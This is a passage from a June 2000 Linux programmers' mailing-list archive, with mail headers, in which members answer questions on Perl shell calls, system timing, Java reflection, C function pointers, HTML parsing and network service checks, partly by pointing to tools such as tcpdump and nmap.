occurs; what we least expect generally happens. -- Bengamin Disraeli From linux-india-programmers-owner@lists.linux-india.org Fri Jun 23 10:54:34 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id C255D3809E for ; Fri, 23 Jun 2000 10:54:30 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id e5NHo9X14532 for ; Fri, 23 Jun 2000 10:50:10 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FWMCEU02.0TJ for ; Fri, 23 Jun 2000 10:54:30 -0700 Message-ID: <3953A455.66B90206@netscape.com> Date: Fri, 23 Jun 2000 10:54:29 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: perl and apache Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/173 Chetan Gopal Kashinath proclaimed: > he is creating a zip file through perl on apache server on linux. > here is the code > > The code will be like this: > > > push ( @list, "gzip"); > push ( @list, "zipfile.zip"); > push ( @list, "*.*"); > > exec "@list"; Eeeew. Do it through a module. See http://search.cpan.org/search?dist=Compress-Zlib Thaths -- "Microsoft products are key to providing highly scalable and reliable infrastructure services to Loudcloud's customers" -- Marc Andreessen (http://www.loudcloud.com/news/releases/part-000622.html) Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-programmers-owner@lists.linux-india.org Fri Jun 23 17:42:14 2000 Received: from linux.wiplash.com (unknown [203.94.251.40]) by www.aunet.org (Postfix) with ESMTP id AC8CB3802E for ; Fri, 23 Jun 2000 17:42:05 -0700 (PDT) Received: from deepak ([192.168.0.22]) by linux.wiplash.com (8.9.3/8.8.7) with SMTP id GAA24440 for ; Sat, 24 Jun 2000 06:15:27 +0500 Message-Id: <200006240115.GAA24440@linux.wiplash.com> Date: Sat, 24 Jun 2000 6:11:56 +0500 From: deepak yadav To: linux-india-programmers Subject: smallest unit of time X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/174 hi what is the smallest unit of time i can have from the system. function time(...) returns in seconds. can it be smaller ? i need source for program ab used for bench marking Apache server. where from can i get it. ----------------------------- deepak have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Fri Jun 23 21:35:22 2000 Received: from eth.net (mailserver2.ddsl.net [202.9.145.19]) by www.aunet.org (Postfix) with ESMTP id 792723802E for ; Fri, 23 Jun 2000 21:35:13 -0700 (PDT) Received: from cranks ([202.9.170.231]) by eth.net with Microsoft SMTPSVC(5.5.1877.357.35); Sat, 24 Jun 2000 10:03:24 +0530 Message-ID: <009301bfdd97$36b9a700$e7aa09ca@cranks> Reply-To: "Chetan Gopal Kashinath" From: "Chetan Gopal Kashinath" To: Subject: Re: perl and apache Date: Fri, 23 Jun 2000 23:16:29 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-Archive-Number: 200006/175 ----- Original Message ----- From: Ravi Prakash B.V. > > hi chetu, > The notation is correct but the usage of gzip is wrong. > Modified code is: > < begin of file 1.pl> > > #!/usr/bin/perl > push ( @list, "gzip"); > push ( @list, "-c"); > push ( @list, "*"); > push ( @list, ">zipfile.gz"); > > exec "@list"; > > > > This code will compress all the files in the curent directory and store into > zipfile.gz. current directory ?? which is the current directory when i am running it in apache server ?? cgi-bin ?? public_html ?? thanks for the corrections. - chetu From linux-india-programmers-owner@lists.linux-india.org Fri Jun 23 23:35:25 2000 Received: from bucky.excite.com (bucky-rwcmex.excite.com [198.3.99.218]) by www.aunet.org (Postfix) with ESMTP id 3602738059 for ; Fri, 23 Jun 2000 23:35:20 -0700 (PDT) Received: from neon.excite.com ([199.172.153.87]) by bucky.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000624063519.BZXH24546.bucky.excite.com@neon.excite.com> for ; Fri, 23 Jun 2000 23:35:19 -0700 Message-ID: <31654035.961828519471.JavaMail.imail@neon.excite.com> Date: Fri, 23 Jun 2000 23:35:19 -0700 (PDT) From: bharat shetty To: linux-india-programmers@lists.linux-india.org Subject: Re: smallest unit of time Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 203.200.0.247 X-Archive-Number: 200006/176 Hi, there are tons and tons of time related functions. see the time man pages for time for a start. look in the see also section for time. The unit of time in Linux is a jiffy (pl. jiffies)as far as I know. You may have to consult Linux Device Drivers by Alessandro rubini for that. bharat. On Sat, 24 Jun 2000 6:11:56 +0500, linux-india-programmers@lists.linux-india.org wrote: > hi > what is the smallest unit of time i can have from the system. function time(...) returns in seconds. can it be smaller ? > > i need source for program ab used for bench marking Apache server. where from can i get it. > > ----------------------------- > deepak _______________________________________________________ Get 100% FREE Internet Access powered by Excite Visit http://freelane.excite.com/freeisp From linux-india-programmers-owner@lists.linux-india.org Sat Jun 24 08:41:33 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 4F0D638054 for ; Sat, 24 Jun 2000 08:41:27 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA02994 for linux-india-programmers@lists.linux-india.org; Sat, 24 Jun 2000 08:40:11 -0700 Date: Sat, 24 Jun 2000 08:40:11 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: ip spoofing Message-ID: <20000624084011.A2940@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <006801bfdc2a$45ef48b0$161819ac@io26>; from maheshv@ltitlblr.com on Thu, Jun 22, 2000 at 07:14:30PM +1000 X-Archive-Number: 200006/177 On Thu, Jun 22, 2000 at 07:14:30PM +1000, Mahesh wrote: > Hello all, > > Does anyone know how do we capture packets of a network ( subnet ) having > a CISCO > switch ( hub ) conected for the network... Look for "sniffit" on the web. -Arun From linux-india-programmers-owner@lists.linux-india.org Sat Jun 24 08:45:24 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id BACB6380B1 for ; Sat, 24 Jun 2000 08:45:20 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA03012 for linux-india-programmers@lists.linux-india.org; Sat, 24 Jun 2000 08:44:34 -0700 Date: Sat, 24 Jun 2000 08:44:34 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Html parser Message-ID: <20000624084434.B2940@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00db01bfdd04$719dadf0$9b01a8c0@MUTHU>; from muthu@innomedia.soft.net on Fri, Jun 23, 2000 at 04:46:14PM +0530 X-Archive-Number: 200006/178 On Fri, Jun 23, 2000 at 04:46:14PM +0530, Muthu wrote: > Hi to all, > Any one plz tell me where do i get info about html parsing?.Thanx in > advance If you get "sgml-tools" package and use a HTML 4.0 dtd, you should be able to run nsgmls to verify if a document is conforming or not. There are a whole bunch of XML validation tools out there, if that is what you want. -Arun From linux-india-programmers-owner@lists.linux-india.org Sat Jun 24 08:47:45 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 40DE4380B8 for ; Sat, 24 Jun 2000 08:47:42 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA03057 for linux-india-programmers@lists.linux-india.org; Sat, 24 Jun 2000 08:46:55 -0700 Date: Sat, 24 Jun 2000 08:46:55 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: smallest unit of time Message-ID: <20000624084655.C2940@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200006240115.GAA24440@linux.wiplash.com>; from deepak2000@softhome.net on Sat, Jun 24, 2000 at 06:11:56AM +0500 X-Archive-Number: 200006/179 On Sat, Jun 24, 2000 at 06:11:56AM +0500, deepak yadav wrote: > hi > what is the smallest unit of time i can have from the system. function time(...) returns in seconds. can it be smaller ? > > i need source for program ab used for bench marking Apache server. where from can i get it. man gettimeofday. -Arun From linux-india-programmers-owner@lists.linux-india.org Sat Jun 24 09:15:30 2000 Received: from e22.nc.us.ibm.com (e22.nc.us.ibm.com [32.97.136.228]) by www.aunet.org (Postfix) with ESMTP id BAB3E38054 for ; Sat, 24 Jun 2000 09:15:24 -0700 (PDT) Received: from southrelay03.raleigh.ibm.com (southrelay03.raleigh.ibm.com [9.37.3.210]) by e22.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA17884 for ; Sat, 24 Jun 2000 11:54:01 -0500 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by southrelay03.raleigh.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id MAA57168 for ; Sat, 24 Jun 2000 12:15:12 -0400 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id 29DC758812; Sat, 24 Jun 2000 21:45:38 +0530 (IST) Date: Sat, 24 Jun 2000 21:45:38 +0530 To: linux-india-programmers@lists.linux-india.org Subject: Re: ip spoofing Message-ID: <20000624214538.A15787@austin.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000624084011.A2940@sharmas.dhs.org>; from adsharma@sharmas.dhs.org on Sat, Jun 24, 2000 at 08:40:11AM -0700 X-Operating-System: Linux DemiUrge 2.2.15pre13ReiserFSsk X-Organisation: IBM Global Services ( India ) X-Freedom: Live Free or Die http://www.cfp2000.org X-Fortune: The only thing faster than the speed of light is shit flowing downhill. X-Uptime: 16 days From: sidgeek@austin.ibm.com (Syed Khader Vali) X-Archive-Number: 200006/180 On Sat, Jun 24, 2000 at 08:40:11AM -0700, Arun Sharma wrote: > On Thu, Jun 22, 2000 at 07:14:30PM +1000, Mahesh wrote: > > Does anyone know how do we capture packets of a network ( subnet ) having > > a CISCO > > switch ( hub ) conected for the network... > Look for "sniffit" on the web. Hi there, You can also give "tcpdump", "tcpflow" a try. You can find them at http://freshmeat.net HTH Regards Carter -- What do you have when you have six lawyers buried up to their necks in sand? Not enough sand. Syed Khader Vali (Siddiq) - Linux Guy, LTC. Encrypted Mail Preferred - Finger sidcarter at symonds.net For GPG/PGP Key. From linux-india-programmers-owner@lists.linux-india.org Sat Jun 24 17:23:51 2000 Received: from linux.wiplash.com (unknown [203.94.252.19]) by www.aunet.org (Postfix) with ESMTP id 944A13806B for ; Sat, 24 Jun 2000 17:23:41 -0700 (PDT) Received: from deepak ([192.168.0.23]) by linux.wiplash.com (8.9.3/8.8.7) with SMTP id FAA08140 for ; Sun, 25 Jun 2000 05:57:01 +0500 Message-Id: <200006250057.FAA08140@linux.wiplash.com> Date: Sun, 25 Jun 2000 5:53:31 +0500 From: deepak yadav To: linux-india-programmers Subject: functions in same statement X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/181 hi i have few functions say a(), b() ,c() ... i want to call these functions, each within same statement seperated by comma. e.g ( a() , b() , c() ); the problem is , i want to vary the number and ordering of these functions within that statement at run time. Plz help thanks ----------------------------- deepak have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Sat Jun 24 17:23:59 2000 Received: from linux.wiplash.com (unknown [203.94.252.19]) by www.aunet.org (Postfix) with ESMTP id C2E3C38064 for ; Sat, 24 Jun 2000 17:23:40 -0700 (PDT) Received: from deepak ([192.168.0.23]) by linux.wiplash.com (8.9.3/8.8.7) with SMTP id FAA08133 for ; Sun, 25 Jun 2000 05:56:58 +0500 Message-Id: <200006250056.FAA08133@linux.wiplash.com> Date: Sun, 25 Jun 2000 5:53:27 +0500 From: deepak yadav To: "linux-india-programmers@lists.linux-india.org" Subject: Re: Re: smallest unit of time X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/182 At 6/24/00 8:46:00 AM, you wrote: >On Sat, Jun 24, 2000 at 06:11:56AM +0500, deepak yadav wrote: >> hi >> what is the smallest unit of time i can have from the system. function time(...) returns in seconds. can it be smaller ? >> >> i need source for program ab used for bench marking Apache server. where from can i get it. > >man gettimeofday. > > -Arun it says No man pages for gettimeofday ----------------------------- deepak have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 00:34:16 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 824923802E for ; Sun, 25 Jun 2000 00:34:11 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id AAA03793 for linux-india-programmers@lists.linux-india.org; Sun, 25 Jun 2000 00:33:17 -0700 Date: Sun, 25 Jun 2000 00:33:17 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Re: smallest unit of time Message-ID: <20000625003317.A3778@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200006250056.FAA08133@linux.wiplash.com>; from deepak2000@softhome.net on Sun, Jun 25, 2000 at 05:53:27AM +0500 X-Archive-Number: 200006/183 On Sun, Jun 25, 2000 at 05:53:27AM +0500, deepak yadav wrote: > At 6/24/00 8:46:00 AM, you wrote: > >On Sat, Jun 24, 2000 at 06:11:56AM +0500, deepak yadav wrote: > >> hi > >> what is the smallest unit of time i can have from the system. function time(...) returns in seconds. can it be smaller ? > >> > >> i need source for program ab used for bench marking Apache server. where from can i get it. > > > >man gettimeofday. > > > > -Arun > > it says > No man pages for gettimeofday $ rpm -qf /usr/man/man2/gettimeofday.2 man-pages-1.26-5 -Arun From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 05:31:23 2000 Received: from smtp.mail.yahoo.com (smtp.mail.yahoo.com [128.11.68.32]) by www.aunet.org (Postfix) with SMTP id E62E93805B for ; Sun, 25 Jun 2000 05:31:18 -0700 (PDT) Received: from bangdp-33-3.mantraonline.com (HELO raghu) (202.56.248.3) by smtp.mail.yahoo.com with SMTP; 25 Jun 2000 05:31:14 -0700 X-Apparently-From: Message-ID: <002601bfdea1$50d069c0$51aa09ca@raghu> From: "Raghudev Ramaiah" To: Subject: implementation details -> to check services on other hosts Date: Sun, 25 Jun 2000 17:59:58 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Archive-Number: 200006/184 hi, i urgently need some detailed info about implementation of a 'c' program on linux (6.1 or 6.2) to check for services like smtp , pop ,ftp ,etc which are running on any other given host in the network. if any of u could suggest a relevant book ,that's also fine. raghu. __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 07:37:24 2000 Received: from md3.vsnl.net.in (md3.vsnl.net.in [202.54.6.35]) by www.aunet.org (Postfix) with ESMTP id E26363805B for ; Sun, 25 Jun 2000 07:37:16 -0700 (PDT) Received: from server.mcs.com ([210.212.251.24]) by md3.vsnl.net.in (8.9.3/8.9.3) with ESMTP id TAA10192 for ; Sun, 25 Jun 2000 19:56:55 +0530 (IST) Received: from trisul (trisul.mcs.com [192.168.1.7]) by server.mcs.com (8.9.3/8.8.7) with SMTP id TAA01643 for ; Sun, 25 Jun 2000 19:52:07 +0530 Message-ID: <001501bfdeb0$bdd18ae0$0701a8c0@mcs.com> From: "Lakshmi Anand K." To: Subject: Java CreateObject Date: Sun, 25 Jun 2000 19:52:06 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Archive-Number: 200006/185 I want to create java objects with their class names known at runtime. I want something of this: objref = createobject("classname"); I will not be able to use : Classname Obj = new Classname() ; Will interfaces be useful for this? ------------------ Lakshmi Anand K MSPV Group Pavoorchatram From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 10:50:51 2000 Received: from tango.SoftHome.net (tango.SoftHome.net [204.144.231.49]) by www.aunet.org (Postfix) with SMTP id 98A8638061 for ; Sun, 25 Jun 2000 10:50:45 -0700 (PDT) Received: (qmail 20003 invoked by uid 417); 25 Jun 2000 17:54:04 -0000 Received: from unknown (HELO deepak) (203.94.251.183) by smtpa.softhome.net with SMTP; 25 Jun 2000 17:54:04 -0000 Date: Sun, 25 Jun 2000 23:20:33 +0500 From: deepak yadav To: linux-india-programmers Subject: pointers to functions X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <20000625175045.98A8638061@www.aunet.org> X-Archive-Number: 200006/186 hi this mail is with refrence to my previous mail which goes like this >i have few functions say a(), b() ,c() ... >i want to call these functions, each within same statement seperated by comma. >e.g > ( a() , b() , c() ); >the problem is -- i want to vary the number and ordering of these functions within that statement at run time. one solution for this which comes to my mind is making array of pointers to functions. and changing the binding of pointers to function at runtime. so if a[] is an array of pointers , i could write ( *a[0] ) () , ( *a[1] ) () , ( *a[2] ) () ); and i just need to change these pointers to execute different functions with different ordering and change the number by leaving array pointers NULL which are not required. now i want to know --- what kind of array should a[] be. would void *a[] suffice. i tried it but failed. the parameter types of functions differ so i cannot do something like typedef void (*ptr)() ; and declare array of ptr. i just have APUE -stevens and Linux 6.2 for reference thanks ----------------------------- deepak have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 10:58:27 2000 Received: from tango.SoftHome.net (tango.SoftHome.net [204.144.231.49]) by www.aunet.org (Postfix) with SMTP id 9451338061 for ; Sun, 25 Jun 2000 10:58:21 -0700 (PDT) Received: (qmail 26238 invoked by uid 417); 25 Jun 2000 18:01:40 -0000 Received: from unknown (HELO deepak) (203.94.251.183) by smtpa.softhome.net with SMTP; 25 Jun 2000 18:01:40 -0000 Date: Sun, 25 Jun 2000 23:28:3 +0500 From: deepak yadav To: linux-india-programmers@lists.linux-india.org Subject: Re: implementation details -> to check services on other hosts X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <20000625175821.9451338061@www.aunet.org> X-Archive-Number: 200006/187 check out RFC 's for protocols http://www.faqs.org/rfcs/ SMTP : 821,1425, 1427 POP : 937,1082, 1225 FTP : 542 _______ Deepak At 6/25/00 5:59:00 PM, you wrote: >hi, >i urgently need some detailed info about implementation of a 'c' program > on linux (6.1 or 6.2) to check for services like >smtp , pop ,ftp ,etc which are running on any other given host in the >network. > >if any of u could suggest a relevant book ,that's also fine. > >raghu. > > >__________________________________________________ >Do You Yahoo!? >Talk to your friends online with Yahoo! Messenger. >http://im.yahoo.com > >----------------------------------------------------------------------- >For more information on the LIP mailing list see: >http://lists.linux-india.org/lists/LIP > > ----------------------------- deepak have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 11:35:05 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id DF2233805F for ; Sun, 25 Jun 2000 11:34:59 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id LAA04606 for linux-india-programmers@lists.linux-india.org; Sun, 25 Jun 2000 11:34:12 -0700 Date: Sun, 25 Jun 2000 11:34:12 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Java CreateObject Message-ID: <20000625113412.A4598@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <001501bfdeb0$bdd18ae0$0701a8c0@mcs.com>; from lakshmianand@vsnl.com on Sun, Jun 25, 2000 at 07:52:06PM +0530 X-Archive-Number: 200006/188 On Sun, Jun 25, 2000 at 07:52:06PM +0530, Lakshmi Anand K. wrote: > I want to create java objects with their class names known at runtime. I > want something of this: > objref = createobject("classname"); objref = Class.forName("classname").newInstance() -Arun From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 16:52:11 2000 Received: from tango.SoftHome.net (tango.SoftHome.net [204.144.231.49]) by www.aunet.org (Postfix) with SMTP id 44FC838061 for ; Sun, 25 Jun 2000 16:52:03 -0700 (PDT) Received: (qmail 14520 invoked by uid 417); 25 Jun 2000 23:55:24 -0000 Received: from unknown (HELO deepak) (203.94.251.183) by smtpb.softhome.net with SMTP; 25 Jun 2000 23:55:24 -0000 Date: Mon, 26 Jun 2000 5:21:52 +0500 From: deepak yadav To: linux-india-programmers@lists.linux-india.org Subject: Re: Java CreateObject X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <20000625235203.44FC838061@www.aunet.org> X-Archive-Number: 200006/189 the thing u want is explained below with an example public class ClassDemo2 { public static void main(String args[]) { Class cls = null; Object obj = null; // load a class by name try { cls = Class.forName(args[0]); } catch (ClassNotFoundException exc) { System.err.println(exc); } // create a new instance of that class try { obj = cls.newInstance(); } catch (IllegalAccessException exc1) { System.err.println(exc1); } catch (InstantiationException exc2) { System.err.println(exc2); } } } for more info http://developer.java.sun.com/developer/TechTips/2000/tt0314.html. ___________ Deepak At 6/25/00 7:52:00 PM, you wrote: >I want to create java objects with their class names known at runtime. I >want something of this: > objref = createobject("classname"); >I will not be able to use : Classname Obj = new Classname() ; Will >interfaces be useful for this? >------------------ >Lakshmi Anand K >MSPV Group >Pavoorchatram > > >----------------------------------------------------------------------- >For information on this and other Linux India mailing lists check out >http://lists.linux-india.org/ > > ----------------------------- deepak have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 16:52:18 2000 Received: from tango.SoftHome.net (tango.SoftHome.net [204.144.231.49]) by www.aunet.org (Postfix) with SMTP id 4DE2038061 for ; Sun, 25 Jun 2000 16:52:08 -0700 (PDT) Received: (qmail 14611 invoked by uid 417); 25 Jun 2000 23:55:30 -0000 Received: from unknown (HELO deepak) (203.94.251.183) by smtpb.softhome.net with SMTP; 25 Jun 2000 23:55:30 -0000 Date: Mon, 26 Jun 2000 5:21:57 +0500 From: deepak yadav To: linux-india-programmers@lists.linux-india.org Subject: Re: implementation details -> to check services on other hosts X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <20000625235208.4DE2038061@www.aunet.org> X-Archive-Number: 200006/190 apart from protocols u need to know socket programming for which read Unix Network Programming - Stevens At 6/25/00 5:59:00 PM, you wrote: >hi, >i urgently need some detailed info about implementation of a 'c' program > on linux (6.1 or 6.2) to check for services like >smtp , pop ,ftp ,etc which are running on any other given host in the >network. > >if any of u could suggest a relevant book ,that's also fine. > >raghu. > > >__________________________________________________ >Do You Yahoo!? >Talk to your friends online with Yahoo! Messenger. >http://im.yahoo.com > >----------------------------------------------------------------------- >For more information on the LIP mailing list see: >http://lists.linux-india.org/lists/LIP > > ----------------------------- deepak have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 17:51:58 2000 Received: from glitch.crosswinds.net (glitch.crosswinds.net [209.208.163.35]) by www.aunet.org (Postfix) with ESMTP id 5D44A3805F for ; Sun, 25 Jun 2000 12:10:52 -0700 (PDT) Received: from ice.129.client145.icenet.net (IDENT:root@ice.129.client145.icenet.net [203.88.129.145] (may be forged)) by glitch.crosswinds.net (8.9.3/8.9.3) with ESMTP id PAA59595 for ; Sun, 25 Jun 2000 15:10:48 -0400 (EDT) (envelope-from root@crosswinds.net) Date: Sat, 24 Jun 2000 08:04:41 -0400 (EDT) From: Ajay Dudani X-Sender: root@macavity.hacker.com To: linux-india-programmers@lists.linux-india.org Subject: Re: implementation details -> to check services on other hosts In-Reply-To: <002601bfdea1$50d069c0$51aa09ca@raghu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/191 On Sun, 25 Jun 2000, Raghudev Ramaiah wrote: |hi, |i urgently need some detailed info about implementation of a 'c' program | on linux (6.1 or 6.2) to check for services like |smtp , pop ,ftp ,etc which are running on any other given host in the |network. Well, check out nmap at www.insecure.org/nmap, the IDEAL port scanner. And if you are looking for the implementation details check out the source code. You will find some nice scanners at www.anticode.com in the "Network Scanners" section. Ajay -- +-------------------------+-------------------------------+ | .+'''+. | Today is the | | a j a y @crosswinds.net | first day of | | `+.,.+' Ajay Dudani | rest of your life | +-------------------------+-------------------------------+ From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 20:54:44 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 4FD5F3806A for ; Sun, 25 Jun 2000 20:54:27 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA02022 for ; Mon, 26 Jun 2000 09:20:40 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA15372 for ; Mon, 26 Jun 2000 09:23:03 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA3418; Mon, 26 Jun 2000 09:24:27 +0530 Date: Mon, 26 Jun 2000 09:34:01 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: deepak yadav Cc: linux-india-programmers Subject: Re: pointers to functions In-Reply-To: <20000625175045.98A8638061@www.aunet.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/192 On Sun, 25 Jun 2000, deepak yadav wrote: + > ( a() , b() , c() ); + >the problem is -- i want to vary the number and ordering of these functions within that statement at run time. + + one solution for this which comes to my mind is making array of pointers to functions. and changing the binding of pointers to function at runtime. + so if a[] is an array of pointers , i could write + ( *a[0] ) () , ( *a[1] ) () , ( *a[2] ) () ); + and i just need to change these pointers to execute different functions with different ordering and change the number by leaving array pointers NULL which are not required. And this needs to be done in C? If language is not a problem, give C++ a try. BTW, what is the specific thing that needs to be done? Sharad. From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 21:40:59 2000 Received: from alabama.innomedia.soft.net (ns.innomedia.soft.net [164.164.79.130]) by www.aunet.org (Postfix) with ESMTP id 831A43806A for ; Sun, 25 Jun 2000 21:40:50 -0700 (PDT) Received: from MUTHU ([192.168.1.155]) by alabama.innomedia.soft.net (8.9.3/8.8.7) with SMTP id KAA01481 for ; Mon, 26 Jun 2000 10:11:24 +0530 Message-ID: <001501bfdf2b$1fff0e20$9b01a8c0@MUTHU> From: "Muthu" To: Subject: Re: Html parser Date: Mon, 26 Jun 2000 10:28:09 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Archive-Number: 200006/193 Hil, Any one plz tell me where do i get info about html parsing in c?.Basically to get an idea about how web-browser is working .Thanx in advance Muthukumar From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 21:56:22 2000 Received: from universe.nextset.com (unknown [209.157.151.228]) by www.aunet.org (Postfix) with ESMTP id D06CE3806A for ; Sun, 25 Jun 2000 21:56:16 -0700 (PDT) Received: from nextset.com ([203.199.224.189]) by universe.nextset.com (8.10.0/8.10.0) with ESMTP id e5Q4lPn29320 for ; Sun, 25 Jun 2000 21:47:32 -0700 (PDT) Message-ID: <3956E5EA.A34CE03C@nextset.com> Date: Mon, 26 Jun 2000 10:41:06 +0530 From: Anurag Shekhar Organization: OrchidSoft India (P) Ltd. X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: Java CreateObject Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/194 use Class.forName and then Class.newInstance "Lakshmi Anand K." wrote: > I want to create java objects with their class names known at runtime. I > want something of this: > objref = createobject("classname"); > I will not be able to use : Classname Obj = new Classname() ; Will > interfaces be useful for this? > ------------------ > Lakshmi Anand K > MSPV Group > Pavoorchatram > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 21:59:41 2000 Received: from web5304.mail.yahoo.com (web5304.mail.yahoo.com [216.115.106.113]) by www.aunet.org (Postfix) with SMTP id 81ACB380BF for ; Sun, 25 Jun 2000 21:59:37 -0700 (PDT) Message-ID: 